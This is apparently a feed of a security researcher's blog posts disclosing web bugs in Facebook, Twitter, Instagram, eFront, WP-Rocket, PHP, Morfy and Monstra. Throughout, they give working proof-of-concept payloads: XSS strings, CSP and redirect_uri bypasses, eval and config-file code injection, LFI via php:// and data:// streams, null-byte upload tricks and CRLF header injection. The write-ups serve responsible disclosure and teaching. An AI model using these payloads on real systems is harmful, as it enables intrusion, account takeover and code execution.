    This can be tested in both MS Edge and Internet Explorer by changing links Facebook expects to be relative URIs and thus not passing them to a linkshim validation endpoint, allowing redirection to a blacklisted site (in this example, user must click on continue or cancel)

    https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2F%E3%80%B1evilzone.org

    Character 2: 〵- 'VERTICAL KANA REPEAT MARK LOWERHALF' (Ux3035)

    https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2F〵evilzone.org

    Character 3: ゝ- 'HIRAGANA ITERATION MARK' (0x309d)

    POC: https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2Fゝevilzone.org

    Character 4: ー 'KATAKANA-HIRAGANA PROLONGED SOUND MARK' (0x30fc)

    POC: https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2Fーevilzone.org
    Character 5: ー 'HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK' (0xff70)

    POC: https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2Fーevilzone.org

    This specific issue is not fixed by Facebook as they believe it is more of the browser vendors fault and shouldn't be fixed from their side. Even though I disagree with their decision, I believe a very few percent of Facebook users use IE or Edge so I didn't bother trying to change their mind. I hope this post inspires either Microsoft or Facebook to fix this issue though.

    I hope you enjoyed the read. =)
    @page { margin: 0.79in } p { margin-bottom: 0.1in; line-height: 120% } a:link { so-language: zxx }
    tag:blogger.com,1999:blog-8591474299777249503.post-6373009213313768131
    Extensions
    Why CSP Should be carefully crafted: Twitter XSS & CSP Bypass
    Show full content

    Few months back, I came across an oauth xss accompanied by a nice CSP bypass in Twitter. While creating an application, a developer can set their terms and service URL for their app, which Twitter configured to be: ([https?:])\w+
    Unfortunately the regexp is missing a ^ char in the start  making malicious URLs like data:CONTENT#https://… work -- so we got HTML Injection, but almost useless for a practical attack because of the CSP rules. After checking the header, I noticed there are multiple CSP misconfigurations in the script-src and object-src blocks, making it possible to bypass CSP in twitter.com. The CSP Rule looks like:
    script-src https://connect.facebook.net https://cm.g.doubleclick.net https://ssl.google-analytics.com https://graph.facebook.com https://twitter.com 'unsafe-eval' ‘unsafe-inline’ https://*.twimg.com https://api.twitter.com https://analytics.twitter.com https://publish.twitter.com https://ton.twitter.com https://syndication.twitter.com https://www.google.com;frame-ancestors 'self';object-src https://twitter.com https://pbs.twimg.com; default-src 'self';...
    Looking at this, the object-src and the script-src blocks got my immediate attention. After some research, I saw one of the trusted domains (cdn.syndication.twimg.com aka syndication.twitter.com) hosts JSONP endpoints.

    Originally I thought, by exploiting the object-src block (https://pbs.twimg.com) --  one can upload a Flash file (as picture/video extension with few bytes header) to Twitter CDN -- refer it to as an embedded Object to gain code execution. However, because of character limitation, the payload I was trying to make was too long and being cut off, so this method wasn't practical as we were working on a limited payload space. At this point, I sticked to the JSONP bypass for the script-src blocks and started playing with multiple parameters until I found a shorter version, when injected generating an alert in twitter.com.
    http://syndication.twitter.com/widgets/timelines/246079887021051904?dnt=true&domain=twitter.com&lang=en&callback=alert
    The above JSONP response from syndication.twitter.com comes back with a Content-Disposition header forcing a download. However, browsers like Chrome still execute the returned file even when returned as an attachment. At this point, this misconfiguration added with the ‘unsafe-inline’ CSP block -- meant we are able to execute code.
    By setting the Terms & Services URL of an App to
    data:text/html,<script src="https://syndication.twitter.com/widgets/timelines/246079887021051904?callback=alert"></script>
    A developer will be able to pop-up an alert.

    POC
    After some digging I noticed ssl.google-analytics.com, www.google.com and even graph.facebook.com host JSONP endpoints -- which I wrote to twitter over email -- but will not be fixed anytime soon because it may break the sites usage and call to these sites and performance.

    Edit: Ben Hayak mentioned we can use same origin method execution (SOME) attack to manipulate the page as we like: https://syndication.twitter.com/widgets/timelines/246079887021051904?callback=document.body.firstElementChild.Reference.submit -- as used by my Instagram XSS.
    I hope it was a fun read,  :) --
    tag:blogger.com,1999:blog-8591474299777249503.post-5648592002904957105
    Extensions
    Instagram Stored OAuth XSS
    Show full content
    A few weeks ago, I found a stored cross site scripting bug in Instagram that was tricky to craft a real exploit from. In Instagram Developers, you can create your own OAuth applications to be granted by the user and use the API. the vulnerable parameter is the "url" POST parameter, where you provide your site's address and the user could navigate to see the developer.
    The parameter was properly sanitized, & even sent to Linkshim to validate its not a malicious link. but here is the best part: Linkshim seems to only validate if the link is malicious from a list of database entries it contains and if it doesn't exist in the db, it will just put the url in a hyperlink reference (Bascically a blacklist system).
    And because of this Facebook assumed when a link is sent thru linkshim, a link would get out. and they are right, and they are validating everything right. except for one thing: the scheme.
    So http://google.com worked but since schemes weren't validated, so did javascript://google.com. At this point, it will seem like we got a working exploit. but there are different limitation factors here. the first one being there are lots of character limitations to write a payload. because characters are properly HTML entitied, we can't use quotes & other key elements. and because linkshim is there, the payload needed to be a valid & safe-uri, but with our payload. Crafting an alert was easy, we just put javascript://google.com/?x=%0Aalert`Hello!`
    The above payload can generate an alert that says "Hello" in any modern browser thanks to ECMAScript6. notice there aren't any braces or quotes in there, and I added a newline (%0A), to make the alert not a javascript comment because linkshim would require us to follow standard scheme protocols (xxx://y)
    Going Beyond The Boring Alert This part is just an extension to prove exploitability. because of Session cookies, this wont be as simple as stealing cookies then saying game over. also because of the limitation factors I wrote above, crafting a normal payload isn't an option.  
    So I had to use DOM manipulation techniques to get the Authorization button when clicked, authorizing our malicious application to be used on behalf of the user with all the scopes available (comments+likes+basic+public_content+follower_list+relationships)
    The pre-final payload I crafted looks like:  
    document.body.firstElementChild.children[0].firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.children[2].children[1].firstElementChild[4].click

    As you can see we didn't use any quotes but only the allowed characters, and when visited, that will authorize the malicious application in-to the users account. :) so the final payload would look something like:
    javascript://google.com/?x=%0Aalert`Hi!`;document.body.firstElementChild.children[0].firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.children[2].children[1].firstElementChild[4].click
    PoC:
    Report Timeline July 24, 2016 - Inital Report July 26, 2016 - Triage July 30, 2016 - Patch!
    tag:blogger.com,1999:blog-8591474299777249503.post-7379560368987437193
    Extensions
    eFront LMS - RCE (All versions)
    Show full content
    TL,DR; Its been a while last I published a post. so this is going to be a short post about an interesting-ish RCE found in all versions of eFront LMS - reported over 120 days ago but eFront cutting the open-source version as a response instead of a patch, I am forced to notify people of this vulnerability. I will update this post if a patch for this bug is out. In /efront/libraries/globals.php:
    The following handleSEO() function is the one causing the code execution. it looks like the following:
    function handleSEO() {    if (!$GLOBALS['configuration']['seo'] && $_SERVER['PATH_INFO']) {        $parts = explode("/", trim($_SERVER['PATH_INFO'], "/"));        for ($i = 0; $i < sizeof($parts); $i+=2) {            eval('$'.$parts[$i].' = "'.$parts[$i+1].'";');        }        //unset($parts);unset($i);        foreach (get_defined_vars() as $key => $value) {            $_GET[$key] = $value;        }    } }
    Because of their assumption that $_SERVER['PATH_INFO'] isn't user controllable, they sent it straight to eval(), causing the code execution.
    PoC:
    https://localhost/efonrt/libraries/globals.php/hack/x%22%3Beval(phpinfo())%3B%24t%3D%22pwnd

    Decoded:
    /globals.php/hack/x";eval(phpinfo());$t="pwnd

    visiting the above link will get phpinfo() executed.
    Breaking it down: $parts = explode("/", trim($_SERVER['PATH_INFO'], "/")); for ($i = 0; $i < sizeof($parts); $i+=2) {            eval('$'.$parts[$i].' = "'.$parts[$i+1].'";'); }
    Because of that specific code, we send in /globals.php/hack/x, which will become: $hack="x , but because php already executed the code, doing a comment (/*..*/) wont work and will actually crash it, so we will just tamper the variables like x";eval(phpinfo());$t="pwnd
    This will endup creating:
    $hack = "x";eval(phpinfo());$t="pwnd";

    Which is then interpreted as:

    eval($hack = "x";eval(phpinfo());$t="pwnd";);

    And Boom! We got our code executed!
    tag:blogger.com,1999:blog-8591474299777249503.post-6177277498696524621
    Extensions
    Facebook's Moves - OAuth redirect_uri bypass
    Show full content
    This is going to a very short post about a redirect_uri bypass technique I found in Moves.

    Moves is a company owned by Facebook and one of the acquisitions in scope for the bug bounty program they are running.

    I have written about an XSS bug caused in this same parameter entitled "Moves OAuth XSS" and this will cover a not so common redirect_uri bypass method.

    Anyway, there are a lot of known ways to bypass redirect_uri's in OAuth, it all depends on what server side check we are facing and what limitation factors there are. for instance, in Facebook's case, if you set your applications allowed callback to https://www.anyurl.com/directory it will allow that+ anything following it. so https://www.anyurl.com/directory/anotherdirectory?y=xz is considered perfectly valid. some other sites like Coinbase & Uber implement it differently. and addition of any queries, directories or domains will be considered invalid so scenarios that worked on Facebook will be invalid.

    That leaves some OAuth clients heavily misconfigured and sometimes causes serious issues like OAuth bypasses possible.

    However, there are sometimes confusions on the server handling these urls (often since dealing with url encoded values) and some bypasses are possible. 
    Consider a site that configured its allowed callback url to https://example.com/some/path.
    Possible bypasses to tamper with sub-directories:
    1. https://example.com/some/path
    2. https://example.com/some/path/../../new/path
    3. https://example.com/some/path/%2e%2e/%2e%2e/new/path
    4. https://example.com/some/path/%252e%252e/%252e%252e/new/path (double encoded)
    5. https://example.com/new/path///../../some/path/
    6. https://example.com/some/path/.%0a./.%0d./new/path (for servers ignoring nonprintable CRLF chracters)   
     In moves case, I used the 5th example. it basically confuses the parser and thus let it assume /new/path/ is the allowed subdir.

    PoC app: https://api.moves-app.com/oauth/v1/authorize?response_type=code&client_id=2KQ3D5coba76A5eg42mlu3L3Kd3btEeS&scope=location&redirect_uri=https://example.com/new/path///../../some/path/ (obviously patched)

    That application, although configured to redirect to https://example.com/some/path it will redirect to https://example.com/new/path 
    Attack Scenario: Consider an open redirect in example.com like https://example.com/somepath/redirect?to=evil.com If the developer set the callback to https://example.com/moves/callback he will expect the OAuth provider won't accept other paths. (so open redirect is low priority here)
    However, using the bypass, we create our malicious path like:
    https://example.com/somepath/redirect%3fto%3devil.com%23///../../moves/callback/
    We encode the characters so it will be considered as a path and not tamper with the parser.  the %23 (#) is added at the end to not let the other path following (../moves/callback) matter.
    that will redirect to https://example.com/somepath/redirect?to=evil.com#/moves/callback?code=CODE (my precious) and we just get our stolen code via document.hash and game over! Here is a video poc


    Report Timeline Apr 29 - Inital Report May 6 - Triage May 9 - Patch
    tag:blogger.com,1999:blog-8591474299777249503.post-3013428154296834055
    Extensions
    Exploit-DB Local File Inclusion (Possible RCE/RFI)
    bugbountyfindingswebsecurity
    Show full content


    I am writing this blog post because both the teams that handled this bug were quite amazing. (Vulnerable 3rd party and Offensive Security) They acknowledged, fixed and rewarded my report in <1hr of my submission. (both of them) This, for someone with experience with responsible disclosure is unbelievable.
    So it starts out like this, Offensive-Security's Exploit-db announced they just launched their new appearance. I checked it out, it’s quite beautiful, less darker and all… a white-hat’s place. It looked less like Inj3ctor and more like exploit-db. 
    I noticed they are running wordpress, with a number of plugins. But they obviously were all updated and running latest version. I had to find a 0day. So I downloaded their new caching plugin for page performance, WP-ROCKET. (which by the way handled the bug quite well, and even acknowledged my report in multiple ways, Thank you!)
    The code looked good, I found no SQLi, no XSS. But then, a very silly page seems to appear with a silly code. /wp-content/wprocketfolder/inc/front/process.php line 44,
    Says include ($rocket_config_path . $host . '.php');
    Where $host is pre-defined as:
    44: $host = trim(strtolower($_SERVER['HTTP_HOST']), '.');
    This page can be accessed to anyone and requires no wordpress authentication. The HTTP_HOST header can be manipulated simply by tampering with the HOST header. (Edit: This is only applicable if certain Apache/php.ini are fulfilled.) I then wrote about the bug to Offensive-Security, they responded 12mins later saying they disabled the plug in.
    In an LFI theory, an attacker can poison log files and include them as ../../logfile to cause Remote code execution. (RCE) Practically that would be hard to exploit for RCE because an attacker would need to bypass the WAF they are running called Sucuri. And also php doesn’t let null termination (%x00) work (because its patched since < 5.2.1), this would be difficult to achieve But...

    This can be exploited by using php://filter for local file inclusion by sending a HOST headers like
    php://filter/convert.base64-encode/resource=index then when the include happens, $host.'php'); our resource parameter will get index.php, this forces PHP to base64 encode the file before it is used in the include statement. From this point its a matter of then decoding the base64 string to obtain the source code for the PHP files. Simple yet effective..

    Or This theoretically would also had been exploitable to RFI (Remote File Inclusion) if the path wasn't relative. In absolute URL cases, we can use the data:// Scheme to cause RFI. By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below example shows how phpinfo() can be executed using the above script to enumerate more information about the targe. Or a simple RCE by using the expect:// scheme (same as the one that caused the XXE RCE in Facebook)

    <? phpinfo(); die();?>

    // Base64 Encoded
    PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg==

    // URL + Base64 Encoded
    PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

    // Final URL in HOST
    data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

    The die() statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded ".php" string which is appended to the stream.

    Using a data stream over a standard remote or local file inclusion has several benefits:

    • It doesn't require a remote server.
    • Its doesn't require a null-byte to be appended to the end of the script.
    • It works behind a firewall that blocks outbound traffic.

    However, exploitation was blocked because of a fair WAF called Suruci and The include being relative. Nevertheless, they treated the bug as critical as it is, and pushed a fix in < hr of my initial report  and added my name to their Special Thanks page.(of course with a bounty)!

    Special Thanks to Julio Potier, a programer of the WP-Rocket team. He acknowledged my report, fixed the bug, and even issued a generous bounty. Timeline April 19, 6:54 am – Initial Report April 19, 7:08 am – Confirmation April 19, 7:43 – Complete Fix + Bounty
    tag:blogger.com,1999:blog-8591474299777249503.post-3562275626817984813
    Extensions
    Exploiting PHP Upload forms with CVE-2015-2348
    findingsphpwebsecurity
    Show full content
    Today I would like to post about a recent bug I have found in PHP, CVE-2015-2348.
    This bug is fairly severe. (considering the amount of developers & packages affected). I have to admit checking the file extension and saying a file is safe can still cause many
    other security issues. However, checking for this exact vulnerability in your code is pretty
    unrealistic, considering it can pass the Content-Type, Extension, Mime type, size checks...
    etc won't save you from this.
    The issue occurs in the very popular move_uploaded_files php function that is used to handle
    user uploaded files. This function checks to ensure that the file designated by
    filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload
    mechanism). If the file is valid, it will be moved to the filename given by destination.
    Example:
    move_uploaded_file ( string $filename , string $destination )
    The problem with it is that there is a way to insert null-bytes (fixed multiple times before,
    i.e: CVE-2006-7243). Using null-bytes an attacker can convince an upload box to ignore
    extension checks and that the file is fairly safe and valid and upload malicious files that
    can cause RCE. using the character \x00
    I am going to take DVWA for an example here. DVWA's highest level is meant to be unbroken
    for number of issues. the high upload box is meant to teach developers the safe way of handling
    a safe upload. Lets just exploit that.

    Here is the code snippet from https://github.com/RandomStorm/DVWA/blob/master/
    vulnerabilities/upload/source/high.php:
    $uploaded_name = $_FILES['uploaded']['name']; $uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
    $uploaded_size = $_FILES['uploaded']['size'];
    if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" ||
    $uploaded_ext == "JPEG") && ($uploaded_size < 100000)){

    if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
    $html .= ''; $html .= 'Your image was not uploaded.'; $html .= ''; } else { $html .= $target_path . ' succesfully uploaded!'; . .
    This is yes vulnerable to number of exploits (like XSCH, XSS and more), but not RCE.
    Because since PHP 5.3.1 Null bytes are deprecated. The problem with DVWA is that its passing user provided name to the move_uploaded_file() - Expected behavior for PHP to create:
    move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg")
    That file should have created the file "file.php\x00.jpg"
    Reality is it creates: file.php
    This clearly bypasses the extension check. It has been proven many times the GD libraries
    can also be defeated ( getimagesize(), imagecreatefromjpeg()... ),
    read this by @secgeek for example.
    Now even if you have had done multiple checks for this, it will be highly unlikely you blacklisted
    the char \x00 so most upload forms running PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x
    before 5.6.7 are vulnerable for this particular attack. Closing: If you are on a vulnerable server, update!
    tag:blogger.com,1999:blog-8591474299777249503.post-1004170505627561921
    Extensions
    Facebook: Another Linkshim Bypass
    bugbountybypassfindingswebsecurity
    Show full content

    I wasn't going to post about it then I thought it could be an interesting article to post because this is the 3rd vulnerability that got fixed in the same parameter 6 months later.
    You can find my initial linkshim bypass to this exact position which later turns out to be XSS if you click here. In the first bug I found in the continue parameter, it is possible to bypass linkshim and force a redirection to a site before being checked but then, XSS. 
    First I am going to talk about the relevant and great technique I learned from the prompt.ml XSS Challenge(s) 4, you can find the DOM XSS challenge here. consider the code:
    function escape(input) {     // make sure the script belongs to own site     // sample script: http://prompt.ml/js/test.js     if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {         var script = document.createElement('script');         script.src = input;         return script.outerHTML;     } else {         return 'Invalid resource.';     } }
    This is the JS source code of challenge 4. they basically want you to bypass a regex to get an external redirection. And the main problem here is that it uses decodeURIComponent(), a function that decodes supplied input from URL encoding. In this case, we can trick the browser believe the prompt.ml domain (allowed by the regex) belongs to our URL. This should be very simple using HTTP auth, like http://prompt.ml@attacker.com the above URL redirects to attacker.com and should bypass the regex because having the prompt.ml.
    To bypass decodeURIComponent(), we simply have to use %2f which is a URL encoded representation for the /. And our bypass is: 
    //prompt.ml%2f@ᄒ.ws/

    “The trick to solve the level with 17 characters only lies hidden in a transformation behavior some browsers apply when converting Unicode characters to URLs. A certain range of characters resolves to three other characters of which one is a dot - the dot we need for the URL. The following vectors uses the domain 14.rs that can be expressed by two characters only.”

    A url that starts with two forward slashes is treated as absolute by browsers. Something similar seems to cause this issue (server-side), when given the continue parameter, https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=http://example.com
    This successfully will send example.com for a check to a linkshim before external redirection which means https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=http://evilzone.org should be malicious.
    Now a stupid enough URL validator will consider //evilzone.org a relative location and won’t allow us create a hyperlink like <a href=”//evilzone.org”> and FB did blacklisted //. The next try should be \/evilzone.org, since most browsers render \ back to / this usually bypass the check and create //evilzone.org
    But both // and \/ got caught. At this point I concluded the linkshim uses number of blacklist based checks from \\, //, \/ and attempted fuzzing.
    I then was talking to @FransRosen and he mentioned about a technique that could still cause another bypass. \%09/@site.com
    This basically should be equivalent to //@site.com and since their regex didn't contain \%09/ , \%0D/ or \%0A/ in its banlist, this results in // being back because the %09 will obviously get ignored while parsing.  We can keep adding as many of these in between. And the complete linkshim bypass will look something like:

    https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=\%09%09/@example.com


    Feb 1, 2015 6:33am - Initial Report Feb 1, 2015 6:47am - More Clarification sent Feb 2, 2015 6:11am - More Classfication asked  Feb 3, 2015 1:04pm - Some more clarifications sent Feb 4, 2015 11:25am - Escalation of bug     Feb 23, 2015 11:00am - Bug Fixed    Thanks you for reading! :-)

    tag:blogger.com,1999:blog-8591474299777249503.post-665863340134336615
    Extensions
    Facebook’s Oculus – Cross-Site Content Hijacking (XSCH) to Bypass SOP
    bugbountyfindingswebsecurity
    Show full content



    First off, before going in-depth about this I would like to paste you what a crossdomain.xml file is,here is something that are taken from Ookla, you can read more here.
    What is the crossdomain.xml file? The crossdomain.xml file is a cross-domain policy file. It grants the Flash Player permission to talk to servers other than the one it's hosted on.
    In what circumstances do I need to use one? You need a crossdomain.xml file when your Speedtest uses external hosts as testing servers.
    Crossdomain.xml files Flash Player’s default security model enforces the same origin policy similar to contemporary browsers and does not allow cross domain data read operations. However, it can make exception to this rule and disregard its default security model if a website in question hosts a cross-domain policy file (named crossdomain.xml) to allow data access from other domains. Insecurely written cross-domain policy files can expose critical application data over the internet. The example policy file below shows once such example where the website opens itself to read access from every running instance of Flash Player.

    “This forexample is how a (super) vulnerable crossdomain file looks like,

    <cross-domain-policy>         <allow-access-from domain="*" /> </cross-domain-policy>


    When flash requests to access that domain, it first asks the domain if it’s okay to snoop its contents. It does that by requesting domain.com/crossdomain.xml file and reading it, that crossdomain file says "Allow-access-from *(all) domains". This means, where ever our flash file is hosted (attacker.com/hack.swf), it will be able to read the contents of domain.com. This is much like a Cross Site scripting, but less in some case. We can only request and read, we cannot write. So it less.
    Using this we can steal AntiCSRF tokens, craft CSRF exploits. Read html files using victim sessions (Messages, account balance…)
    Here is a great example,”
    1. A user logs on to the banking website.
    2. The user then visits another website in different browser tab and that website hosts a malicious Flash file to retrieve user information from the bank website.
    3. When the Flash Player notices an attempt to perform cross-domain read operation, it retrieves crossdomain.xml file from the bank website to discover the permitted operations.
    4. It then sends out a read request to a known bank URL that returns sensitive information like user bank account numbers, account balance etc…
    5. The browser adds user’s session cookies to the outgoing requests and since the user is logged in, the malicious Flash file is served with critical user information.
    6. Th Flash file then passes it on to the malicious server.


    There is a particular flash exploit for this attack by Gursev Singh Kalra here.http://pastebin.com/EwqkGkxp
    I was bored so I gave a shot of each oculus domain. All turned out to be safe, excpet one. It says
    <allow-access-from domain="*.oculus.com" secure=”true”/>
    It means everything that is hosted at *.oculus.com have read access at developer.oculus.com domain.  

    Luckily, I recently saw support.oculus.com have an upload box if you cut a ticket via ZenDesk. While submitting a ticket, you can also upload image files. You see what I am going with this? I made my malicious flash.swf file, change the extension to flash.jpg, upload it at support.oculus.com and that file now have access to developer.oculus.com because the crossdomain allowed it.
    The great about flash is, despite the file Mime, or format say flash.jpg, when we embed it as flash, it will act like flash despire its content/mime type.   The exploit Scenario follows as: 1.       1. Create a malicious flash.swf that does malicious action, like read antiCSRF tokens or   messages.
    2.       2. Change the extension of flash.swf to flash.jpg
    3.       3. Navigate to support.oculus.com, create a ticket and upload our malicious flash.jpg file as a supporting image to the support team
    4.       4. In our malicious domain (say attacker.com) host,  

    <object type="application/x-shockwave-flash" data="https://support.oculus.com/attachments/token/APToMFwKw6O45WRIS5lf1HTP7/flash.jpg" width="1" height="1">
    <param name="movie" value="https://support.oculus.com/attachments/token/APToMFwKw6O45WRIS5lf1HTP7/flash.jpg" />
    </object>


    5.       6. Now we navigate our victim to attacker.com and as soon as the flash files runs, Boom! We get everything we need. 

       Facebook had an amazing (better?) support about this. I got the fix (less than 9hrs)
       Hope you enjoyed the post! Comments would be nice! :)     
       Report Timeline:       Dec 29, 2014 6:59am - Initial Report       Jan 27, 2015 9:09am  - Facebook Initial Confirmation       Jan 27, 2015 6:55pm  - Fix!      
    Great cooperation guys! and I would like to thank the Facebook Security team and the program it self.
    Conclusion:
    -          Permit access from your crossdomain.xml because a simple mistake or “*” can cause a disaster.
    -          In another option, make your uploaded files have a content-disposition header with appropriate values. 
     
    tag:blogger.com,1999:blog-8591474299777249503.post-1539236890054364220
    Extensions
    Morfy CMS Multiple Vulnerabilities
    bypassfindingsphpwebsecurity
    Show full content


    Site: morfy.monstra.org;

    Executing Commands like a Boss! (*cough cough*) Versions <= 1.0.5 are vulnerable to the following attacks if certain requirements fulfill 1.       Remote Command Execution Vulnerable Code ./install.php Line 57
                    $post_site_url = isset($_POST['site_url']) ? $_POST['site_url'] : '';
    ./install.php Line 64-77
                    file_put_contents('config.php', "<?php     return array(         'site_url' => '{$post_site_url}',         'site_charset' => 'UTF-8',         'site_timezone' => '{$post_site_timezone}',         'site_theme' => 'default',         'site_title' => '{$post_site_title}',         'site_description' => '{$post_site_description}',         'site_keywords' => '{$post_site_keywords}',         'email' => '{$post_email}',         'plugins' => array(             'markdown',             'sitemap',         ),    );");
    The problem is that it adds multiple unsanitized user input inside a php configuration file (config.php)
    Exploitation: goto install.php?
     Add
    website.com}','yibelo'=> eval("system('dir');"),// as your website
    This will store the following in config.php
    return array(         'site_url' => '{website.com}','yibelo'=> eval("system('dir');"),// ',         'site_charset' => 'UTF-8',         'site_timezone' => '{$post_site_timezone}',         'site_theme' => 'default',         'site_title' => '{$post_site_title}',         'site_description' => '{$post_site_description}',         'site_keywords' => '{$post_site_keywords}',         'email' => '{$post_email}',         'plugins' => array(             'markdown',             'sitemap',         ),    );");
    Then navigate to site.com/config.php then system(‘dir’); (list of files in current directory) will be displayed
    http://www.vulnerability-lab.com/get_content.php?id=1367

    2.       Cross Site Scripting
    Vulnerable Code ./install.php Line 14 $site_url = 'http://'.$_SERVER["SERVER_NAME"].$port.str_replace(array("index.php", "install.php"), "", $_SERVER['PHP_SELF']); ./install.php Line 20 $rewrite_base = str_replace(array("index.php", "install.php"), "", $_SERVER['PHP_SELF']); ./install.php Line 226 <input type="text" name="site_url" class="form-control" id="site_url" placeholder="Enter Site Url" value="<?php echo $site_url; ?>">
    Exploitation Send a GET request payload like http://localhost/morfy-zone/install.php/”><svg/onload=confirm(1)>
    Will output
    <input type="text" name="site_url" class="form-control" id="site_url" placeholder="Enter Site Url" value="”><svg/onload=confirm(1)>
    And a reflective XSS shall occur if install.php isn't removed.
    Vulnerable? The easiest fix (for both issues) will be to remove install.php the second you finished installing morfy.
    Another one for the f*** sakes!

    2014-10-12 – Contacted Developers (no reply) 2014-11-00 – Another attempt to contact developers (no reply) 2014-12-17 – Public Disclosure.


    tag:blogger.com,1999:blog-8591474299777249503.post-3910887292610474544
    Extensions
    XSS Bug on Facebook Studio
    bugbountybypasswebsecurity
    Show full content


    VL-MAG: http://magazine.vulnerability-db.com/?q=articles/2014/12/11/whitehat-hacker-discovered-details-application-side-facebook-studio-dashboard

    This is a cool Second-Order-Injection XSS against Facebook Studio that was caused by data input on Facebook Mobile (Facebook Studio).
    This vulnerability is created because of improper user input parsing. First, I noticed facebook-studio.com doesn’t use Linkshim (malicious link detection system for Facebook). When I saw that, I immediately wrote to Facebook about it. But then I realized, this is not exploitable because it fetches the URL’s from My Facebook profile. Take: Evilzone.org is a site blocked by Linkshim.
    Meaning, if I add “google.com” as my website on Facebook, it will be fetched to my Studios account. which means, there needs to be no linkshim because it was first checked on Facebook.
    Linkshim uses a list of sites to identify if the site is malicious or not. So bypassing basically includes cheating the linkshim into thinking our site is not included. As always, I started with case-sensetivity bypasses, hoping, if evilzone.org is blocked, to bypass it with EVILZoNE.org, it obviously didn't work.
    Then I tried URL encoding. There is a value in html called shy. That basically, shies/hides elements. This tag can be used in href elements. So <a href=”evil&shy;zone.org” >X</a> is equvallent to evilzone.org so all I had to do is add evil&shy;zone.org as my website using the mobile interface of Facebook (since the main site sends requests to verify, and the mobile version doesn’t)
    So when Facebook studio fetches my URL from my Facebook profile and add it in href tag (hoping it is a safe link checked by Linkshim, and it is), it will become “<a href=”evil&shy;zone.org” >X</a>” when clicked redirects to evilzone.org, which is considered a linkshim evasion.
    Seeing the source, I then wondered why &shy; still itself and not encoded. So I tried my chance with http://something.com”><script>alert(0);</script> but that link become
    <a href=” http://something.com”” target=’_’ >X</a> It basically means, the inputs < , >, /  and anything following them is filtered. So I tried event handler XSS’es since quotes aren’t blocked with payloads like 
    http://something.com”onmouseover=”alert(1);//&shy;.
    So that will be rendered as <a href=” http://something.com”onmouseover=”alert(1); //&shy;.” target=’_’ >X</a> The bad news is I can’t make it self-executable even using autofocus and onfocus because it is href attribute. So I tried ways of making this self-executable. Then, I  use CSS to make the font very big, so it will fill the screen. So onmouseover will automatically get it triggered because the mouse will be all over it. Note: since it’s a URL for Facebook, no spaces were allowed. 
    http://something.com”onmouseover=’alert(31337);’style=”font-size:100; background:black”&shy;. That was the final payload I added to my Facebook account, as my website. The problem with Facebook was that when adding it to the database, I don’t know why Facebook didn’t html entity it. So when Studio featched the contents, it became
    <a href=”http://something.com”onmouseover=’alert(31337);’style=”font-size:100;background:black”&shy;.”” target=’_’ >X</a>
    And creating us a nice self executing XSS.
    www.vulnerability-lab.com/get_content.php?id=1368
    Nov 22, 2014 7:12am - Notified Facebook Nov 24, 2014 1:30pm - Facebook Notified its out of scope Dec 2, 2014 10:42am - Issue got fixed. Dec 9, 2014 08:03am - Public Disclosure
    Conclusion No matter where the source is, do not trust user input data even while fetching it from a trusted source.
    tag:blogger.com,1999:blog-8591474299777249503.post-8459482190047835363
    Extensions
    (Monstra <= 3.0.1 & Anchor <= 0.9) CVE-2014-9006, CVE-2014-9182
    cvefindingsphpwebsecurity
    Show full content



    Monstra CMS 3.0.1 (current version at the time of writing) and below Vulnerabilities  HTTP Response Splitting (CRLF Injection) http://packetstormsecurity.com/files/129043/Monstra-3.0.1-HTTP-Response-Splitting.html
    /plugins/captcha/crypt/cryptographp.php
     
    <?php
    ...
    SetCookie("cryptcookietest", "1");
    Header("Location:
    cryptographp.inc.php?cfg=".$_GET['cfg']."&sn=".session_name()."&".SID);
    ... ?>
    
    So providing 
    
    http://[host]/[loc]/plugins/captcha/crypt/cryptographp.php?cfg=%0A%0DContent-T
    ype:%20text/html%0A%0D%0A%0D%3Cscript%3Ealert%281%29%3C/script%3E& 
     
    Using %0A%0D%0A%0D will allow you to add headers. this can be used to cause 
    reflective XSS, Content-Spoofing, Open Redirection, and many more. 
    
    
    Would result a CRLF injection.
    
    Note: PHP version must allow multiple headers. this is fixed >5.6.2 
    Bruteforce Mitigation Bypass [CVE-2014-9006] http://packetstormsecurity.com/files/129082/Monstra-3.0.1-Bruteforce-Mitigation-Bypass.html
    admin/index.php
    
    :33-42
    
    // Admin login
    if (Request::post('login_submit')) {
    
        if (Cookie::get('login_attempts') && Cookie::get('login_attempts') >= 5) {
    
            $login_error = __('You are banned for 10 minutes. Try again
    later', 'users');
    
        } else {
    
            $user = $users->select("[login='" .
    trim(Request::post('login')) . "']", null);
    }
    
     
     
    The code blocks bruteforce attempts simply by placing a cookie called 
    "login_attempts" in the victims browser an attacker can craft a bruteforce script
    that either clears cookies or does not send cookies at all.


    Anchor CMS <= 0.9.2 Header Injection [CVE-2014-9182] Anchor CMS versions 0.9.2 and below suffer from a header injection vulnerability.

